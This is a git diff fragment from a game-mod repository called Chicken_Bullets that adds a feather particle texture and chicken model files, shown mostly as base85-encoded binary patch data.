"$vertexalpha" "1" + "$translucent" "1" + "$nocull" "1" +} diff --git a/Repos/Chicken_Bullets-master/materials/particles/feather.vtf b/Repos/Chicken_Bullets-master/materials/particles/feather.vtf new file mode 100644 index 0000000000000000000000000000000000000000..e9342f144b64c1e32e23dc62a8c7d055c18f73db GIT binary patch literal 16592 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 UULy$!Ac61Vx!3b2Q@ua`2hItvv;Y7A literal 0 HcmV?d00001 diff --git a/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.mdl b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.mdl new file mode 100644 index 0000000000000000000000000000000000000000..ade919435c1340d2577b8b3e904788a3b7058d5f GIT binary patch literal 5728 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 R;!-H|pDsiHu!-3=@C&tB=Ij6f literal 0 HcmV?d00001 diff --git a/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.sw.vtx b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.sw.vtx new file mode 100644 index 0000000000000000000000000000000000000000..f7df077d566e7a3bac1cf7cfb1128915e384c974 GIT binary patch literal 12316 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 